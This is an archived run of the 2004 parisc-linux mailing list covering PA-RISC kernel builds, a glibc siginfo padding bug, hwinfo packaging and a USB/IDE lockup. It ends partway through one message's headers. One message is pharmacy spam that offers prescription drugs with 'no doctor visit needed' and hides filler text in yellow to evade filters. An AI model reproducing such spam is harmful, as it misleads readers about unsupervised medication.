List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Apr 2004 05:41:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21550


> Okay, it's a 64-bit kernel problem them. What kernel are you running
> right now?

a merged 2.6.6-rc1-pa2 and upstream 2.6.6-rc2 :) 32bits build with lastest
gcc-3.3, binutils (debian unstable) and libc6 (cvs 20040426 + your patches
:)

I also have a b2k on which I can try to build 64bits kernel with gcc-3.0?

Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: hwinfo_7.30-2: suggested patch
Date: Wed, 28 Apr 2004 09:23:41 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <408D4360000013CF__41666.153635788$1416623417$gmane$org@ocpmta2.freegates.net>
References: <20040427201429.GA29987@austin>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623417 9086 80.91.229.3 (22 Nov 2014 02:30:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:17 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>,
	debian-hppa@lists.debian.org
To: "Morten Werner Olsen" <werner@skolelinux.no>
Original-X-From: soete.joel@tiscali.be  Wed Apr 28 01:23:44 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 261444829
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 01:23:44 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1BIjPy-0007nq-00; Wed, 28 Apr 2004 09:23:42 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 28 Apr 2004 09:23:41 +0200
In-Reply-To: <20040427201429.GA29987@austin>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Apr 2004 07:23:44 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21551

Hello all,

Is there some interest to port this pkg on hppa?
I think so but I haven't enough time to help more for the moment.

Please advise,
    Joel

> -- Original Message --
> Date: Tue, 27 Apr 2004 22:14:31 +0200
> From: Morten Werner Olsen <werner@skolelinux.no>
> To: Joel Soete <soete.joel@tiscali.be>
> Subject: Re: hwinfo_7.30-2: suggested patch
> 
> 
> On Fri, Apr 23, 2004 at 06:38:21PM +0200, Joel Soete wrote:

> > - where is the file modules.dep located? (I see hwinfo can't find
> >   /lib/modules/2.6.6-rc1-pa0/modules.dep) or do you have a kernel
> >   without module support?
> 
> As explain
> it is just a draft because it is just a test of 2.6.6-rc1 and
> I forget to install /lib/modules/2.6.6-rc1-pa0/modules.dep because the
kernel
> is well build with module support but for this platform (by default) all
> drivers are buildin (again it 
> s just testing)
> 
> That said, I well understood that it may need some more work to
> improve support of hppa.
> 
> But may be can we put the question of actual interest to the parisc-linux.org
> or better to debian-hppa ml? 
> (I would like to
> help you more (more test on different model,
> different kernel 2.4, 2.6) but right now I don't have enough time to
> do more, sorry)

If you think the hppa-community will use the hwinfo package and you'll
help me make it work on the architecture,
> I'll include your patch! :)

Just give me a sign, and I'll include it. I will not do it until next
week, as I hope to get the package (v7.30-2) into Sarge when the
10days period is finished [1].


- Werner

[1] http://packages.qa.debian.org/h/
> winfo.html



----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Linux-2.6.6-rc1-pa3 and Linux-2.6.6-rc2
Date: Wed, 28 Apr 2004 08:26:09 +0100 (IST)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0404280814210.7455@sal.ucc.ie>
References: <408D436000000590@ocpmta1.freegates.net>
	<Pine.LNX.4.58.0404270915440.4406@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623417 9088 80.91.229.3 (22 Nov 2014 02:30:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: xam@cs.ucc.ie  Wed Apr 28 01:26:19 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id D03DF4829
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 01:26:18 -0600 (MDT)
Original-Received: from sal.ucc.ie (tqpc.ucc.ie [143.239.201.88])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i3S7QH0o024174;
	Wed, 28 Apr 2004 08:26:17 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <Pine.LNX.4.58.0404270915440.4406@sal.ucc.ie>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Apr 2004 07:26:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21552

On Tue, 27 Apr 2004, M. Grabert wrote:

> On Tue, 27 Apr 2004, Joel Soete wrote:
>
> > > and also the same symptoms as before (network is working normal, USB
> > > keyboard/mouse don't work). If you respond fast what commands I should
> > > run, I can give you more info ...
> >
> > hmm usb and ide seems to be on the same superio.

I found a (temporary) solution to my problem. At least I haven't
experienced any problems with the serial console lately.

BTW, the same happened also with a 2.4.26 kernel, so it's not only 2.6
related.

It appears that superio gets confused by my additional USB(2.0) PCI card
in my C3000. Whenever keyboard/mouse was plugged into the onboard USB
ports, simultaneous access to the IDE drive, keyboard and mouse could
cause a lock (and therefore neither USB, IDE and serial console were
working).

I resolved the issue by simply attaching the USB keyboard/mouse to my
USB PCI card. So far I hadn't any problems ....


BTW, using a Voodoo2 and a 2.6 kernel is not as stable as with 2.4.
Some XF86Config options can cause a crash (e.g "DontVTSwitch=true")
on 2.6.6-rc1-pa3, but not on 2.4.26-pa1 ...


greettings,
  Max


From - Thu Nov 08 21:31:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20RE=3A=20=5BPATCH=5D=20glibc=2D2=2E3=2E3=20error=20with=20debian=20unstable=09compiler=2E=2E=2E?=
Date: Wed, 28 Apr 2004 11:31:29 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <408D43600000166C@ocpmta2.freegates.net>
References: <408D43600000128B@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623417 9093 80.91.229.3 (22 Nov 2014 02:30:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Wed Apr 28 03:31:33 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9F5BB4838
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 03:31:33 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1BIlPe-0007MC-00; Wed, 28 Apr 2004 11:31:30 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 28 Apr 2004 11:31:29 +0200
In-Reply-To: <408D43600000128B@ocpmta2.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Apr 2004 09:31:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21553

Carlos,
> > 
> > Okay, it's a 64-bit kernel problem them. What kernel are you running
> > right now?
> 
> a merged 2.6.6-rc1-pa2 and upstream 2.6.6-rc2 :) 32bits build with lastest
> gcc-3.3, binutils (debian unstable) and libc6 (cvs 20040426 + your patches
> :)
>
> I also have a b2k on which I can try to build 64bits kernel with gcc-3.0?

Certainly: I just rebuild my own merge of 2.6.6-rc1-pa6 and 2.6.6-rc3 with
gcc-hppa64 (from ftp.p-l.org) and reboot my b2k with it and effectively the
result of tst-timer4 is a bit different:
# ./tst-timer4
clock_gettime returned timespec = { 1083142973, 718981000 }
clock_getres returned timespec = { 0, 10000000 }
*** sig1_sigval.sival_ptr (nil) != 0xbff00690
*** sig2_sigval.sival_ptr 0 != 163
# echo $?
0

hth,
    Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alexandria E. Hatfield" <a.hatfieldmf@software.plc.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?iso-8859-1?q?Visit_our_Internet_pharmacy=2C_buy?=
	=?iso-8859-1?q?_V=EDagra_and_many_other_meds=2E?=
Date: Wed, 28 Apr 2004 17:56:40 +0300
Lines: 10
Approved: news@gmane.org
Message-ID: <736501c42d31$dd29fc3c$a82655da@autotouch.com.sg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623418 9099 80.91.229.3 (22 Nov 2014 02:30:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:18 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: a.hatfieldmf@software.plc.uk  Wed Apr 28 08:52:07 2004
Return-Path: <a.hatfieldmf@software.plc.uk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from autotouch.com.sg (unknown [218.86.190.27])
	by dsl2.external.hp.com (Postfix) with SMTP id A3F44482E
	for <parisc-linux@parisc-linux.org>;
	Wed, 28 Apr 2004 08:52:02 -0600 (MDT)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Apr 2004 14:52:07 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21554

<HTML><BODY>
<A HREF="http://www.mypllaceishere.com/">
No doctor visit needed - Safe, easy, and comfortable.<BR>
<IMG SRC="http://www.mypllaceishere.com/banners/medecinefpa.jpg" BORDER=0></A>
<BR><A HREF="http://www.mypllaceishere.com/optout.php">I don't like emails.</A><BR><FONT COLOR="yellow">statement endorsed facilitator involved the Saturday meterology free-market
the and and the Chinese recent days. that before discussion under as because
substantial (BN) the of during government themselves. United ground. </FONT>
</BODY></HTML>



From - Thu Nov 08 21:31:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [PATCH] glibc-2.3.3 error with debian
	unstable	compiler...
Date: Wed, 28 Apr 2004 11:54:51 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20040428155451.GE6936@baldric.uwo.ca>
References: <408D43600000128B@ocpmta2.freegates.net>
	<408D43600000166C@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623418 9102 80.91.229.3 (22 Nov 2014 02:30:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Wed Apr 28 09:56:06 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 98278491B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 09:56:06 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BIrOe-0006I1-00; Wed, 28 Apr 2004 11:54:52 -0400
Content-Disposition: inline
In-Reply-To: <408D43600000166C@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (32% Sync Ratio [===.......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Apr 2004 15:56:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21555

On Wed, Apr 28, 2004 at 11:31:29AM +0200, Joel Soete wrote:
> Certainly: I just rebuild my own merge of 2.6.6-rc1-pa6 and 2.6.6-rc3 with
> gcc-hppa64 (from ftp.p-l.org) and reboot my b2k with it and effectively the
> result of tst-timer4 is a bit different:
> # ./tst-timer4
> clock_gettime returned timespec = { 1083142973, 718981000 }
> clock_getres returned timespec = { 0, 10000000 }
> *** sig1_sigval.sival_ptr (nil) != 0xbff00690
> *** sig2_sigval.sival_ptr 0 != 163
> # echo $?
> 0

It does help, we have a padding problem in siginfo, I never had enough
test cases to prove the __SI_RT parts were in the right place. This goes
to show that what you can't test is probably wrong.

I have to work on this today...

c.



From - Thu Nov 08 21:31:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20RE=3A=20=5BPATCH=5D=20glibc=2D2=2E3=2E3=20error=20with=20debian=20unstable=09compiler=2E=2E=2E?=
Date: Wed, 28 Apr 2004 18:29:55 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <408D436000001CFC@ocpmta2.freegates.net>
References: <20040428155451.GE6936@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623418 9105 80.91.229.3 (22 Nov 2014 02:30:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Wed Apr 28 10:29:59 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 50A27498A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 10:29:59 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1BIrwb-0006N3-00; Wed, 28 Apr 2004 18:29:57 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 28 Apr 2004 18:29:55 +0200
In-Reply-To: <20040428155451.GE6936@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Apr 2004 16:29:59 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21556

>
> It does help, we have a padding problem in siginfo, I never had enough
> test cases to prove the __SI_RT parts were in the right place. This goes
> to show that what you can't test is probably wrong.
> 
> I have to work on this today...

I trust it is not related but btw I encounter another strange pb with this
kernel:
I launch a find on a big disk and get severall messages:
find: /a/dir/of/mine: Input/Output error
...

the same when ls -l /a/dir/of/mine (I/O error)

well this is a merge of our 2.6.6-rc1-pa6 and upsteam 2.6.6-rc3 64bits.
if i reboot with 2.6.6-rc1-pa0 32bits no pb.

So i will try to rebuild 2.6.6-rc1-pa6 alone in 64bit and see if the pb is
there or in my merge?

Cheers,
    Joel



----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20RE=3A=20=5BPATCH=5D=20glibc=2D2=2E3=2E3=20error=20with=20debian=20unstable=09compiler=2E=2E=2E?=
Date: Wed, 28 Apr 2004 19:32:34 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <408D436000001DAD@ocpmta2.freegates.net>
References: <408D436000001CFC@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623419 9107 80.91.229.3 (22 Nov 2014 02:30:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Wed Apr 28 11:32:42 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65CFD482E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 11:32:42 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1BIsvF-0002pX-00; Wed, 28 Apr 2004 19:32:37 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 28 Apr 2004 19:32:34 +0200
In-Reply-To: <408D436000001CFC@ocpmta2.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Apr 2004 17:32:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21557

Well,

That must be something wrong in my merge 2.6.6-rc1-pa6 works fine. I will
wait the p-l merge.

Joel

> -- Original Message --
> Date: Wed, 28 Apr 2004 18:29:55 +0200
> From: "Joel Soete" <soete.joel@tiscali.be>
> To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] RE: [PATCH] glibc-2.3.3 error with debian unstable
compiler...
> 
> 
> >
> It does help, we have a padding problem in siginfo, I never had enough
> test cases to prove the __SI_RT parts were in the right place. This goes
> to show that what you can't test is probably wrong.
> 
> I have to work on this today...

I t
> ust it is not related but btw I encounter another strange pb with this
kernel:
I launch a find on a big disk and get severall messages:
find: /a/dir/of/mine: Input/Output error
...

the same when ls -l /a/dir/of/mine (I/O error)

well this is a
> merge of our 2.6.6-rc1-pa6 and upsteam 2.6.6-rc3 64bits.
if i reboot with 2.6.6-rc1-pa0 32bits no pb.

So i will try to rebuild 2.6.6-rc1-pa6 alone in 64bit and see if the pb is
there or in my merge?

Cheers,
    Joel



--------------------
> -------------------------------------------------------------------
Tiscali ADSL: 35 ?/mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr



_______________________________________________
parisc-linux mailing list
pari
> c-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A job for a debian-developer?
Date: Wed, 28 Apr 2004 14:07:41 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20040428180741.GH6936@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623419 9109 80.91.229.3 (22 Nov 2014 02:30:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Wed Apr 28 12:08:12 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id B75BC482E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 12:08:12 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BItTB-0006r3-00 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 14:07:41 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (32% Sync Ratio [===.......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Apr 2004 18:08:13 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21558


parisc-linux,

Do we know if any programs use K_INLINE_SYSCALL from our
linux/include/asm-parisc/unistd.h, or rather all the _syscall[n] macros?

It's rather wrong. Even if I were to correct the issue, I'm curious if
anything uses these definitions. 

There is reference to fdisk.

c.



From - Thu Nov 08 21:31:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Martin-=C9ric_Racine?= <q-funk-x+5WvRp7yOp+8FyH61/OPw@public.gmane.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: hwinfo_7.30-2: suggested patch
Date: Wed, 28 Apr 2004 21:23:56 +0300 (EEST)
Lines: 77
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0404282123040.27664-100000__4986.17969356037$1416623419$gmane$org@hal.pp.fishpool.fi>
References: <408D4360000013CF@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416623419 9112 80.91.229.3 (22 Nov 2014 02:30:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
